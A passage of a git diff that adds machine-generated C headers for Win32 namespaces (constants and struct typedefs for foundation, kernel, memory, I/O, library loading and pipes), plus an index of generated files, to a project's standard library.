FACILITY_TRANSACTION 0x19 +#define FACILITY_COMMONLOG 0x1a +#define FACILITY_VIDEO 0x1b +#define FACILITY_FILTER_MANAGER 0x1c +#define FACILITY_MONITOR 0x1d +#define FACILITY_GRAPHICS_KERNEL 0x1e +#define FACILITY_CAMERA 0x1f +#define FACILITY_DRIVER_FRAMEWORK 0x20 +#define FACILITY_FVE_ERROR_CODE 0x21 +#define FACILITY_FWP_ERROR_CODE 0x22 +#define FACILITY_NDIS_ERROR_CODE 0x23 +#define FACILITY_QUIC_ERROR_CODE 0x24 +#define FACILITY_TPM 0x29 +#define FACILITY_RTPM 0x2a +#define FACILITY_HYPERVISOR 0x35 +#define FACILITY_IPSEC 0x36 +#define FACILITY_VIRTUALIZATION 0x37 +#define FACILITY_VOLMGR 0x38 +#define FACILITY_BCD_ERROR_CODE 0x39 +#define FACILITY_WIN32K_NTUSER 0x3e +#define FACILITY_WIN32K_NTGDI 0x3f +#define FACILITY_RESUME_KEY_FILTER 0x40 +#define FACILITY_RDBSS 0x41 +#define FACILITY_BTH_ATT 0x42 +#define FACILITY_SECUREBOOT 0x43 +#define FACILITY_AUDIO_KERNEL 0x44 +#define FACILITY_VSM 0x45 +#define FACILITY_NT_IORING 0x46 +#define FACILITY_VOLSNAP 0x50 +#define FACILITY_SDBUS 0x51 +#define FACILITY_SHARED_VHDX 0x5c +#define FACILITY_SMB 0x5d +#define FACILITY_XVS 0x5e +#define FACILITY_INTERIX 0x99 +#define FACILITY_SPACES 0xe7 +#define FACILITY_SECURITY_CORE 0xe8 +#define FACILITY_SYSTEM_INTEGRITY 0xe9 +#define FACILITY_LICENSING 0xea +#define FACILITY_PLATFORM_MANIFEST 0xeb +#define FACILITY_APP_EXEC 0xec +#define FACILITY_UNIONFS 0xed +#define FACILITY_PLATFORM_RUNTIME_MECHANISM 0xee +#define FACILITY_WIN_ACCEL 0xef +#define FACILITY_MAXIMUM_VALUE 0xf0 +#define STATUS_SEVERITY_SUCCESS 0x0 +#define STATUS_SEVERITY_INFORMATIONAL 0x1 +#define STATUS_SEVERITY_WARNING 0x2 +#define STATUS_SEVERITY_ERROR 0x3 +#define HANDLE_FLAG_INHERIT 0x1 +#define HANDLE_FLAG_PROTECT_FROM_CLOSE 0x2 +#define WAIT_OBJECT_0 0x0 +#define WAIT_ABANDONED 0x80 +#define WAIT_ABANDONED_0 0x80 +#define WAIT_IO_COMPLETION 0xc0 +#define WAIT_TIMEOUT 0x102 +#define WAIT_FAILED 0xffffffff +#define OBJ_INHERIT 0x2 +#define OBJ_PERMANENT 0x10 +#define OBJ_EXCLUSIVE 0x20 +#define OBJ_CASE_INSENSITIVE 0x40 +#define OBJ_OPENIF 0x80 +#define OBJ_OPENLINK 0x100 +#define OBJ_KERNEL_HANDLE 0x200 +#define OBJ_FORCE_ACCESS_CHECK 0x400 +#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x800 +#define OBJ_DONT_REPARSE 0x1000 +#define OBJ_VALID_ATTRIBUTES 0x1ff2 + +typedef struct _LPARAM { + long long Value; +} LPARAM; + +typedef struct _HRSRC { + void* Value; +} HRSRC; + +typedef struct _HWND { + void* Value; +} HWND; + +typedef struct _NTSTATUS { + int Value; +} NTSTATUS; + +typedef struct _CHAR { + signed char Value; +} CHAR; + +typedef struct _HANDLE_PTR { + unsigned long long Value; +} HANDLE_PTR; + +typedef struct _FILETIME { + unsigned int dwLowDateTime; + unsigned int dwHighDateTime; +} FILETIME; + +typedef struct _POINT { + int x; + int y; +} POINT; + +typedef struct _HMODULE { + void* Value; +} HMODULE; + +typedef struct _PWSTR { + void* Value; +} PWSTR; + +typedef struct _POINTS { + short x; + short y; +} POINTS; + +typedef struct _HGLOBAL { + void* Value; +} HGLOBAL; + +typedef struct _HSTR { + void* Value; +} HSTR; + +typedef struct _HTASK { + void* Value; +} HTASK; + +typedef struct _DECIMAL { + unsigned short wReserved; + void* Anonymous1; + unsigned int Hi32; + void* Anonymous2; +} DECIMAL; + +typedef struct _PROPERTYKEY { + void* fmtid; + unsigned int pid; +} PROPERTYKEY; + +typedef struct _UNICODE_STRING { + unsigned short Length; + unsigned short MaximumLength; + void* Buffer; +} UNICODE_STRING; + +typedef struct _FLOAT128 { + long long LowPart; + long long HighPart; +} FLOAT128; + +typedef struct _HUMPD { + void* Value; +} HUMPD; + +typedef struct _HRESULT { + int Value; +} HRESULT; + +typedef struct _PSTR { + void* Value; +} PSTR; + +typedef struct _HLSURF { + void* Value; +} HLSURF; + +typedef struct _POINTL { + int x; + int y; +} POINTL; + +typedef struct _APP_LOCAL_DEVICE_ID { + unsigned char value[32]; +} APP_LOCAL_DEVICE_ID; + +typedef struct _SHANDLE_PTR { + long long Value; +} SHANDLE_PTR; + +typedef struct _COLORREF { + unsigned int Value; +} COLORREF; + +typedef struct _BOOL { + int Value; +} BOOL; + +typedef struct _DEVPROPKEY { + void* fmtid; + unsigned int pid; +} DEVPROPKEY; + +typedef struct _HLOCAL { + void* Value; +} HLOCAL; + +typedef struct _RECT { + int left; + int top; + int right; + int bottom; +} RECT; + +typedef struct _LUID { + unsigned int LowPart; + int HighPart; +} LUID; + +typedef struct _VARIANT_BOOL { + short Value; +} VARIANT_BOOL; + +typedef struct _LRESULT { + long long Value; +} LRESULT; + +typedef struct _HANDLE { + void* Value; +} HANDLE; + +typedef struct _SIZE { + int cx; + int cy; +} SIZE; + +typedef struct _BSTR { + void* Value; +} BSTR; + +typedef struct _WPARAM { + unsigned long long Value; +} WPARAM; + +typedef struct _HSPRITE { + void* Value; +} HSPRITE; + +typedef struct _SYSTEMTIME { + unsigned short wYear; + unsigned short wMonth; + unsigned short wDayOfWeek; + unsigned short wDay; + unsigned short wHour; + unsigned short wMinute; + unsigned short wSecond; + unsigned short wMilliseconds; +} SYSTEMTIME; + +typedef struct _RECTL { + int left; + int top; + int right; + int bottom; +} RECTL; + +typedef struct _HINSTANCE { + void* Value; +} HINSTANCE; + +typedef struct _BOOLEAN { + unsigned char Value; +} BOOLEAN; + diff --git a/stdlib/win32/index.md b/stdlib/win32/index.md new file mode 100644 index 0000000..de14d8b --- /dev/null +++ b/stdlib/win32/index.md @@ -0,0 +1,56 @@ +# Generated Win32 headers + +Produced by `entc-win32gen`. Each row is one namespace. + +| Namespace | File | Structs | Constants | Skipped | +|---|---|---:|---:|---:| +| Windows.Win32.Foundation | `foundation.h` | 42 | 10495 | 0 | +| Windows.Win32.System.Memory | `memory.h` | 18 | 144 | 0 | +| Windows.Win32.System.Threading | `threading.h` | 45 | 560 | 0 | +| Windows.Win32.System.Diagnostics.Debug | `debug.h` | 241 | 1678 | 1 | +| Windows.Win32.System.WindowsProgramming | `windowsprogramming.h` | 67 | 645 | 4 | +| Windows.Win32.System.Kernel | `kernel.h` | 22 | 43 | 0 | +| Windows.Win32.System.IO | `io.h` | 3 | 0 | 0 | +| Windows.Win32.System.LibraryLoader | `libraryloader.h` | 3 | 28 | 0 | +| Windows.Win32.System.Console | `console.h` | 29 | 141 | 0 | +| Windows.Win32.System.Pipes | `pipes.h` | 0 | 14 | 0 | +| Windows.Win32.System.Registry | `registry.h` | 8 | 951 | 0 | +| Windows.Win32.System.SystemServices | `systemservices.h` | 176 | 2378 | 0 | +| Windows.Win32.System.SystemInformation | `systeminformation.h` | 22 | 484 | 0 | +| Windows.Win32.System.Environment | `environment.h` | 13 | 22 | 0 | +| Windows.Win32.Security | `security.h` | 76 | 390 | 0 | +| Windows.Win32.Security.Authorization | `authorization.h` | 50 | 487 | 3 | +| Windows.Win32.Security.Cryptography | `cryptography.h` | 457 | 3979 | 5 | +| Windows.Win32.Storage.FileSystem | `filesystem.h` | 191 | 984 | 0 | +| Windows.Win32.Networking.WinSock | `winsock.h` | 259 | 1617 | 0 | +| Windows.Win32.Networking.WinHttp | `winhttp.h` | 40 | 743 | 1 | +| Windows.Win32.Networking.WinInet | `wininet.h` | 77 | 1087 | 1 | + +## Skipped types + +### Windows.Win32.Networking.WinHttp +- struct WinHttpRequest: no representable fields + +### Windows.Win32.Networking.WinInet +- struct ProofOfPossessionCookieInfoManager: no representable fields + +### Windows.Win32.Security.Authorization +- struct AzBizRuleContext: no representable fields +- struct AzAuthorizationStore: no representable fields +- struct AzPrincipalLocator: no representable fields + +### Windows.Win32.Security.Cryptography +- struct CCertSrvSetupKeyInformation: no representable fields +- struct CCertificateEnrollmentPolicyServerSetup: no representable fields +- struct CCertificateEnrollmentServerSetup: no representable fields +- struct CCertSrvSetup: no representable fields +- struct CMSCEPSetup: no representable fields + +### Windows.Win32.System.Diagnostics.Debug +- struct ARM64_NT_NEON128: floating-point fields not supported + +### Windows.Win32.System.WindowsProgramming +- struct EditionUpgradeHelper: no representable fields +- struct CameraUIControl: no representable fields +- struct DefaultBrowserSyncSettings: no representable fields +- struct EditionUpgradeBroker: no representable fields diff --git a/stdlib/win32/io.h b/stdlib/win32/io.h new file mode 100644 index 0000000..0710cd4 --- /dev/null +++ b/stdlib/win32/io.h @@ -0,0 +1,32 @@ +// Generated by entc-win32gen from `Windows.Win32.System.IO`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +typedef struct _OVERLAPPED_ENTRY { + unsigned long long lpCompletionKey; + void* lpOverlapped; + unsigned long long Internal; + unsigned int dwNumberOfBytesTransferred; +} OVERLAPPED_ENTRY; + +typedef struct _IO_STATUS_BLOCK { + void* Anonymous; + unsigned long long Information; +} IO_STATUS_BLOCK; + +typedef struct _OVERLAPPED { + unsigned long long Internal; + unsigned long long InternalHigh; + void* Anonymous; + void* hEvent; +} OVERLAPPED; + diff --git a/stdlib/win32/kernel.h b/stdlib/win32/kernel.h new file mode 100644 index 0000000..67d56a5 --- /dev/null +++ b/stdlib/win32/kernel.h @@ -0,0 +1,186 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Kernel`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define OBJ_HANDLE_TAGBITS 3 +#define RTL_BALANCED_NODE_RESERVED_PARENT_MASK 0x3 +#define NULL64 0x0 +#define MAXUCHAR 0xff +#define MAXUSHORT 0xffff +#define MAXULONG 0xffffffff +#define NotificationTimer 0 +#define SynchronizationTimer 1 +#define ExceptionContinueExecution 0 +#define ExceptionContinueSearch 1 +#define ExceptionNestedException 2 +#define ExceptionCollidedUnwind 3 +#define WaitAll 0 +#define WaitAny 1 +#define WaitNotification 2 +#define WaitDequeue 3 +#define WaitDpc 4 +#define NotificationEvent 0 +#define SynchronizationEvent 1 +#define NtProductWinNt 1 +#define NtProductLanManNt 2 +#define NtProductServer 3 +#define SmallBusiness 0 +#define Enterprise 1 +#define BackOffice 2 +#define CommunicationServer 3 +#define TerminalServer 4 +#define SmallBusinessRestricted 5 +#define EmbeddedNT 6 +#define DataCenter 7 +#define SingleUserTS 8 +#define Personal 9 +#define Blade 10 +#define EmbeddedRestricted 11 +#define SecurityAppliance 12 +#define StorageServer 13 +#define ComputeServer 14 +#define WHServer 15 +#define PhoneNT 16 +#define MultiUserTS 17 +#define MaxSuiteType 18 +#define UNSPECIFIED_COMPARTMENT_ID 0 +#define DEFAULT_COMPARTMENT_ID 1 + +typedef struct _WNF_STATE_NAME { + unsigned int Data[2]; +} WNF_STATE_NAME; + +typedef struct _STRING64 { + unsigned short Length; + unsigned short MaximumLength; + unsigned long long Buffer; +} STRING64; + +typedef struct _OBJECTID { + void* Lineage; + unsigned int Uniquifier; +} OBJECTID; + +typedef struct _NT_TIB { + void* ExceptionList; + void* StackBase; + void* StackLimit; + void* SubSystemTib; + void* Anonymous; + void* ArbitraryUserPointer; + void* Self; +} NT_TIB; + +typedef struct _STRING { + unsigned short Length; + unsigned short MaximumLength; + void* Buffer; +} STRING; + +typedef struct _EXCEPTION_REGISTRATION_RECORD { + void* Next; + void* Handler; +} EXCEPTION_REGISTRATION_RECORD; + +typedef struct _CSTRING { + unsigned short Length; + unsigned short MaximumLength; + void* Buffer; +} CSTRING; + +typedef struct _SLIST_HEADER { + void* Anonymous; + void* HeaderArm64; +} SLIST_HEADER; + +typedef struct _SLIST_HEADER { + void* Anonymous; + void* HeaderX64; +} SLIST_HEADER; + +typedef struct _SLIST_HEADER { + unsigned long long Alignment; + void* Anonymous; +} SLIST_HEADER; + +typedef struct _LIST_ENTRY32 { + unsigned int Flink; + unsigned int Blink; +} LIST_ENTRY32; + +typedef struct _SINGLE_LIST_ENTRY { + void* Next; +} SINGLE_LIST_ENTRY; + +typedef struct _LIST_ENTRY { + void* Flink; + void* Blink; +} LIST_ENTRY; + +typedef struct _STRING32 { + unsigned short Length; + unsigned short MaximumLength; + unsigned int Buffer; +} STRING32; + +typedef struct _PROCESSOR_NUMBER { + unsigned short Group; + unsigned char Number; + unsigned char Reserved; +} PROCESSOR_NUMBER; + +typedef struct _QUAD { + void* Anonymous; +} QUAD; + +typedef struct _SLIST_ENTRY { + void* Next; +} SLIST_ENTRY; + +typedef struct _SINGLE_LIST_ENTRY32 { + unsigned int Next; +} SINGLE_LIST_ENTRY32; + +typedef struct _RTL_BALANCED_NODE { + void* Anonymous1; + void* Anonymous2; +} RTL_BALANCED_NODE; + +typedef struct _FLOATING_SAVE_AREA { + unsigned int ControlWord; + unsigned int StatusWord; + unsigned int TagWord; + unsigned int ErrorOffset; + unsigned int ErrorSelector; + unsigned int DataOffset; + unsigned int DataSelector; + unsigned char RegisterArea[80]; + unsigned int Cr0NpxState; +} FLOATING_SAVE_AREA; + +typedef struct _FLOATING_SAVE_AREA { + unsigned int ControlWord; + unsigned int StatusWord; + unsigned int TagWord; + unsigned int ErrorOffset; + unsigned int ErrorSelector; + unsigned int DataOffset; + unsigned int DataSelector; + unsigned char RegisterArea[80]; + unsigned int Spare0; +} FLOATING_SAVE_AREA; + +typedef struct _LIST_ENTRY64 { + unsigned long long Flink; + unsigned long long Blink; +} LIST_ENTRY64; + diff --git a/stdlib/win32/libraryloader.h b/stdlib/win32/libraryloader.h new file mode 100644 index 0000000..b4f6dfc --- /dev/null +++ b/stdlib/win32/libraryloader.h @@ -0,0 +1,60 @@ +// Generated by entc-win32gen from `Windows.Win32.System.LibraryLoader`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define FIND_RESOURCE_DIRECTORY_TYPES 0x100 +#define FIND_RESOURCE_DIRECTORY_NAMES 0x200 +#define FIND_RESOURCE_DIRECTORY_LANGUAGES 0x400 +#define RESOURCE_ENUM_LN 0x1 +#define RESOURCE_ENUM_MUI 0x2 +#define RESOURCE_ENUM_MUI_SYSTEM 0x4 +#define RESOURCE_ENUM_VALIDATE 0x8 +#define RESOURCE_ENUM_MODULE_EXACT 0x10 +#define SUPPORT_LANG_NUMBER 0x20 +#define GET_MODULE_HANDLE_EX_FLAG_PIN 0x1 +#define GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT 0x2 +#define GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS 0x4 +#define CURRENT_IMPORT_REDIRECTION_VERSION 0x1 +#define LOAD_LIBRARY_OS_INTEGRITY_CONTINUITY 0x8000 +#define DONT_RESOLVE_DLL_REFERENCES 0x1 +#define LOAD_LIBRARY_AS_DATAFILE 0x2 +#define LOAD_WITH_ALTERED_SEARCH_PATH 0x8 +#define LOAD_IGNORE_CODE_AUTHZ_LEVEL 0x10 +#define LOAD_LIBRARY_AS_IMAGE_RESOURCE 0x20 +#define LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE 0x40 +#define LOAD_LIBRARY_REQUIRE_SIGNED_TARGET 0x80 +#define LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR 0x100 +#define LOAD_LIBRARY_SEARCH_APPLICATION_DIR 0x200 +#define LOAD_LIBRARY_SEARCH_USER_DIRS 0x400 +#define LOAD_LIBRARY_SEARCH_SYSTEM32 0x800 +#define LOAD_LIBRARY_SEARCH_DEFAULT_DIRS 0x1000 +#define LOAD_LIBRARY_SAFE_CURRENT_DIRS 0x2000 +#define LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER 0x4000 + +typedef struct _ENUMUILANG { + unsigned int NumOfEnumUILang; + unsigned int SizeOfEnumUIBuffer; + void* pEnumUIBuffer; +} ENUMUILANG; + +typedef struct _REDIRECTION_DESCRIPTOR { + unsigned int Version; + unsigned int FunctionCount; + void* Redirections; +} REDIRECTION_DESCRIPTOR; + +typedef struct _REDIRECTION_FUNCTION_DESCRIPTOR { + void* DllName; + void* FunctionName; + void* RedirectionTarget; +} REDIRECTION_FUNCTION_DESCRIPTOR; + diff --git a/stdlib/win32/memory.h b/stdlib/win32/memory.h new file mode 100644 index 0000000..5518f08 --- /dev/null +++ b/stdlib/win32/memory.h @@ -0,0 +1,305 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Memory`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define FILE_CACHE_MAX_HARD_ENABLE 0x1 +#define FILE_CACHE_MAX_HARD_DISABLE 0x2 +#define FILE_CACHE_MIN_HARD_ENABLE 0x4 +#define FILE_CACHE_MIN_HARD_DISABLE 0x8 +#define MEHC_PATROL_SCRUBBER_PRESENT 0x1 +#define WIN32_MEMORY_NUMA_PERFORMANCE_ALL_TARGET_NODE 0xffffffff +#define WIN32_MEMORY_NUMA_PERFORMANCE_READ_LATENCY 0x1 +#define WIN32_MEMORY_NUMA_PERFORMANCE_READ_BANDWIDTH 0x2 +#define WIN32_MEMORY_NUMA_PERFORMANCE_WRITE_LATENCY 0x4 +#define WIN32_MEMORY_NUMA_PERFORMANCE_WRITE_BANDWIDTH 0x8 +#define VmOfferPriorityVeryLow 1 +#define VmOfferPriorityLow 2 +#define VmOfferPriorityBelowNormal 3 +#define VmOfferPriorityNormal 4 +#define MEM_COMMIT 0x1000 +#define MEM_RESERVE 0x2000 +#define MEM_RESET 0x80000 +#define MEM_RESET_UNDO 0x1000000 +#define MEM_REPLACE_PLACEHOLDER 0x4000 +#define MEM_LARGE_PAGES 0x20000000 +#define MEM_RESERVE_PLACEHOLDER 0x40000 +#define MEM_FREE 0x10000 +#define QUOTA_LIMITS_HARDWS_MIN_ENABLE 0x1 +#define QUOTA_LIMITS_HARDWS_MIN_DISABLE 0x2 +#define QUOTA_LIMITS_HARDWS_MAX_ENABLE 0x4 +#define QUOTA_LIMITS_HARDWS_MAX_DISABLE 0x8 +#define GHND 0x42 +#define GMEM_FIXED 0x0 +#define GMEM_MOVEABLE 0x2 +#define GMEM_ZEROINIT 0x40 +#define GPTR 0x40 +#define MEM_PRIVATE 0x20000 +#define MEM_MAPPED 0x40000 +#define MEM_IMAGE 0x1000000 +#define MemDedicatedAttributeReadBandwidth 0 +#define MemDedicatedAttributeReadLatency 1 +#define MemDedicatedAttributeWriteBandwidth 2 +#define MemDedicatedAttributeWriteLatency 3 +#define MemDedicatedAttributeMax 4 +#define MemExtendedParameterInvalidType 0 +#define MemExtendedParameterAddressRequirements 1 +#define MemExtendedParameterNumaNode 2 +#define MemExtendedParameterPartitionHandle 3 +#define MemExtendedParameterUserPhysicalHandle 4 +#define MemExtendedParameterAttributeFlags 5 +#define MemExtendedParameterImageMachine 6 +#define MemExtendedParameterMax 7 +#define MEM_DECOMMIT 0x4000 +#define MEM_RELEASE 0x8000 +#define PAGE_NOACCESS 0x1 +#define PAGE_READONLY 0x2 +#define PAGE_READWRITE 0x4 +#define PAGE_WRITECOPY 0x8 +#define PAGE_EXECUTE 0x10 +#define PAGE_EXECUTE_READ 0x20 +#define PAGE_EXECUTE_READWRITE 0x40 +#define PAGE_EXECUTE_WRITECOPY 0x80 +#define PAGE_GUARD 0x100 +#define PAGE_NOCACHE 0x200 +#define PAGE_WRITECOMBINE 0x400 +#define PAGE_GRAPHICS_NOACCESS 0x800 +#define PAGE_GRAPHICS_READONLY 0x1000 +#define PAGE_GRAPHICS_READWRITE 0x2000 +#define PAGE_GRAPHICS_EXECUTE 0x4000 +#define PAGE_GRAPHICS_EXECUTE_READ 0x8000 +#define PAGE_GRAPHICS_EXECUTE_READWRITE 0x10000 +#define PAGE_GRAPHICS_COHERENT 0x20000 +#define PAGE_GRAPHICS_NOCACHE 0x40000 +#define PAGE_ENCLAVE_THREAD_CONTROL 0x80000000 +#define PAGE_REVERT_TO_FILE_MAP 0x80000000 +#define PAGE_TARGETS_NO_UPDATE 0x40000000 +#define PAGE_TARGETS_INVALID 0x40000000 +#define PAGE_ENCLAVE_UNVALIDATED 0x20000000 +#define PAGE_ENCLAVE_MASK 0x10000000 +#define PAGE_ENCLAVE_DECOMMIT 0x10000000 +#define PAGE_ENCLAVE_SS_FIRST 0x10000001 +#define PAGE_ENCLAVE_SS_REST 0x10000002 +#define SEC_PARTITION_OWNER_HANDLE 0x40000 +#define SEC_64K_PAGES 0x80000 +#define SEC_FILE 0x800000 +#define SEC_IMAGE 0x1000000 +#define SEC_PROTECTED_IMAGE 0x2000000 +#define SEC_RESERVE 0x4000000 +#define SEC_COMMIT 0x8000000 +#define SEC_NOCACHE 0x10000000 +#define SEC_WRITECOMBINE 0x40000000 +#define SEC_LARGE_PAGES 0x80000000 +#define SEC_IMAGE_NO_EXECUTE 0x11000000 +#define MemSectionExtendedParameterInvalidType 0 +#define MemSectionExtendedParameterUserPhysicalFlags 1 +#define MemSectionExtendedParameterNumaNode 2 +#define MemSectionExtendedParameterSigningLevel 3 +#define MemSectionExtendedParameterMax 4 +#define HEAP_NONE 0x0 +#define HEAP_NO_SERIALIZE 0x1 +#define HEAP_GROWABLE 0x2 +#define HEAP_GENERATE_EXCEPTIONS 0x4 +#define HEAP_ZERO_MEMORY 0x8 +#define HEAP_REALLOC_IN_PLACE_ONLY 0x10 +#define HEAP_TAIL_CHECKING_ENABLED 0x20 +#define HEAP_FREE_CHECKING_ENABLED 0x40 +#define HEAP_DISABLE_COALESCE_ON_FREE 0x80 +#define HEAP_CREATE_ALIGN_16 0x10000 +#define HEAP_CREATE_ENABLE_TRACING 0x20000 +#define HEAP_CREATE_ENABLE_EXECUTE 0x40000 +#define HEAP_MAXIMUM_TAG 0xfff +#define HEAP_PSEUDO_TAG_FLAG 0x8000 +#define HEAP_TAG_SHIFT 0x12 +#define HEAP_CREATE_SEGMENT_HEAP 0x100 +#define HEAP_CREATE_HARDENED 0x200 +#define MEM_UNMAP_NONE 0x0 +#define MEM_UNMAP_WITH_TRANSIENT_BOOST 0x1 +#define MEM_PRESERVE_PLACEHOLDER 0x2 +#define MemoryPartitionInfo 0 +#define MemoryPartitionDedicatedMemoryInfo 1 +#define LHND 0x42 +#define LMEM_FIXED 0x0 +#define LMEM_MOVEABLE 0x2 +#define LMEM_ZEROINIT 0x40 +#define LPTR 0x40 +#define NONZEROLHND 0x2 +#define NONZEROLPTR 0x0 +#define MemoryRegionInfo 0 +#define FILE_MAP_WRITE 0x2 +#define FILE_MAP_READ 0x4 +#define FILE_MAP_ALL_ACCESS 0xf001f +#define FILE_MAP_EXECUTE 0x20 +#define FILE_MAP_COPY 0x1 +#define FILE_MAP_RESERVE 0x80000000 +#define FILE_MAP_TARGETS_INVALID 0x40000000 +#define FILE_MAP_LARGE_PAGES 0x20000000 +#define LowMemoryResourceNotification 0 +#define HighMemoryResourceNotification 1 +#define SECTION_ALL_ACCESS 0xf001f +#define SECTION_QUERY 0x1 +#define SECTION_MAP_WRITE 0x2 +#define SECTION_MAP_READ 0x4 +#define SECTION_MAP_EXECUTE 0x8 +#define SECTION_EXTEND_SIZE 0x10 +#define SECTION_MAP_EXECUTE_EXPLICIT 0x20 +#define HeapCompatibilityInformation 0 +#define HeapEnableTerminationOnCorruption 1 +#define HeapOptimizeResources 3 +#define HeapTag 7 + +typedef struct _PROCESS_HEAP_ENTRY { + void* lpData; + unsigned int cbData; + unsigned char cbOverhead; + unsigned char iRegionIndex; + unsigned short wFlags; + void* Anonymous; +} PROCESS_HEAP_ENTRY; + +typedef struct _MEMORY_BASIC_INFORMATION32 { + unsigned int BaseAddress; + unsigned int AllocationBase; + void* AllocationProtect; + unsigned int RegionSize; + void* State; + void* Protect; + void* Type; +} MEMORY_BASIC_INFORMATION32; + +typedef struct _MEM_EXTENDED_PARAMETER { + void* Anonymous1; + void* Anonymous2; +} MEM_EXTENDED_PARAMETER; + +typedef struct _WIN32_MEMORY_REGION_INFORMATION { + void* AllocationBase; + unsigned int AllocationProtect; + void* Anonymous; + unsigned long long RegionSize; + unsigned long long CommitSize; +} WIN32_MEMORY_REGION_INFORMATION; + +typedef struct _MEMORY_PARTITION_DEDICATED_MEMORY_ATTRIBUTE { + void* Type; + unsigned int Reserved; + unsigned long long Value; +} MEMORY_PARTITION_DEDICATED_MEMORY_ATTRIBUTE; + +typedef struct _MEMORY_BASIC_INFORMATION { + void* BaseAddress; + void* AllocationBase; + void* AllocationProtect; + unsigned short PartitionId; + unsigned long long RegionSize; + void* State; + void* Protect; + void* Type; +} MEMORY_BASIC_INFORMATION; + +typedef struct _MEMORY_BASIC_INFORMATION { + void* BaseAddress; + void* AllocationBase; + void* AllocationProtect; + unsigned long long RegionSize; + void* State; + void* Protect; + void* Type; +} MEMORY_BASIC_INFORMATION; + +typedef struct _WIN32_MEMORY_NUMA_PERFORMANCE_INFORMATION_OUTPUT { + unsigned int EntryCount; + void* PerformanceEntries[1]; +} WIN32_MEMORY_NUMA_PERFORMANCE_INFORMATION_OUTPUT; + +typedef struct _MEM_ADDRESS_REQUIREMENTS { + void* LowestStartingAddress; + void* HighestEndingAddress; + unsigned long long Alignment; +} MEM_ADDRESS_REQUIREMENTS; + +typedef struct _WIN32_MEMORY_PARTITION_INFORMATION { + unsigned int Flags; + unsigned int NumaNode; + unsigned int Channel; + unsigned int NumberOfNumaNodes; + unsigned long long ResidentAvailablePages; + unsigned long long CommittedPages; + unsigned long long CommitLimit; + unsigned long long PeakCommitment; + unsigned long long TotalNumberOfPages; + unsigned long long AvailablePages; + unsigned long long ZeroPages; + unsigned long long FreePages; + unsigned long long StandbyPages; + unsigned long long Reserved[16]; + unsigned long long MaximumCommitLimit; + unsigned long long Reserved2; + unsigned int PartitionId; +} WIN32_MEMORY_PARTITION_INFORMATION; + +typedef struct _MEMORY_PARTITION_DEDICATED_MEMORY_INFORMATION { + unsigned int NextEntryOffset; + unsigned int SizeOfInformation; + unsigned int Flags; + unsigned int AttributesOffset; + unsigned int AttributeCount; + unsigned int Reserved; + unsigned long long TypeId; +} MEMORY_PARTITION_DEDICATED_MEMORY_INFORMATION; + +typedef struct _HEAP_SUMMARY { + unsigned int cb; + unsigned long long cbAllocated; + unsigned long long cbCommitted; + unsigned long long cbReserved; + unsigned long long cbMaxReserve; +} HEAP_SUMMARY; + +typedef struct _AtlThunkData_t { + long long Value; +} AtlThunkData_t; + +typedef struct _WIN32_MEMORY_RANGE_ENTRY { + void* VirtualAddress; + unsigned long long NumberOfBytes; +} WIN32_MEMORY_RANGE_ENTRY; + +typedef struct _MEMORY_BASIC_INFORMATION64 { + unsigned long long BaseAddress; + unsigned long long AllocationBase; + void* AllocationProtect; + unsigned int __alignment1; + unsigned long long RegionSize; + void* State; + void* Protect; + void* Type; + unsigned int __alignment2; +} MEMORY_BASIC_INFORMATION64; + +typedef struct _CFG_CALL_TARGET_INFO { + unsigned long long Offset; + unsigned long long Flags; +} CFG_CALL_TARGET_INFO; + +typedef struct _MEMORY_MAPPED_VIEW_ADDRESS { + void* Value; +} MEMORY_MAPPED_VIEW_ADDRESS; + +typedef struct _WIN32_MEMORY_NUMA_PERFORMANCE_ENTRY { + unsigned int InitiatorNodeNumber; + unsigned int TargetNodeNumber; + unsigned char DataType; + void* Flags; + unsigned long long MinTransferSizeInBytes; + unsigned long long EntryValue; +} WIN32_MEMORY_NUMA_PERFORMANCE_ENTRY; + diff --git a/stdlib/win32/pipes.h b/stdlib/win32/pipes.h new file mode 100644 index 0000000..3704f79 --- /dev/null +++ b/stdlib/win32/pipes.h @@ -0,0 +1,28 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Pipes`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define PIPE_UNLIMITED_INSTANCES 0xff +#define NMPWAIT_WAIT_FOREVER 0xffffffff +#define NMPWAIT_NOWAIT 0x1 +#define NMPWAIT_USE_DEFAULT_WAIT 0x0 +#define PIPE_WAIT 0x0 +#define PIPE_NOWAIT 0x1 +#define PIPE_READMODE_BYTE 0x0 +#define PIPE_READMODE_MESSAGE 0x2 +#define PIPE_CLIENT_END 0x0 +#define PIPE_SERVER_END 0x1 +#define PIPE_TYPE_BYTE 0x0 +#define PIPE_TYPE_MESSAGE 0x4 +#define PIPE_ACCEPT_REMOTE_CLIENTS 0x0 +#define PIPE_REJECT_REMOTE_CLIENTS 0x8 